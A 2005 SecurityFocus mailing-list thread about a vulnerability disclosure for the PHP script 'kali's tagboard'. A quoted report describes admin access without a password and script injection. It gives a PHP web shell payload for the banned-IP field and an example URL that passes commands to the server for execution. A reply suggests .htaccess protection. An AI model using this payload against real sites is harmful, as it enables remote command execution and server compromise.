SecurityFocus

Vulnerability kali's tagboard Apr 22 2005 02:03AM
piker piker (piker_666 hotmail com) (2 replies)

Re: Vulnerability kali's tagboard Apr 28 2005 07:47AM
security curmudgeon (jericho attrition org) (1 replies)

Re: Vulnerability kali's tagboard Apr 28 2005 07:06PM
Jesus (root resurrected us)

Re: Vulnerability kali's tagboard Apr 21 2005 07:41PM
Jason Dodson (jasond bblfleet com)

I think the idea is that the admin script be behind .htaccess
restrictions, NOT maintained by the software itself.

Jason

piker piker wrote:
>
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script:
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team
>
>

[ reply ]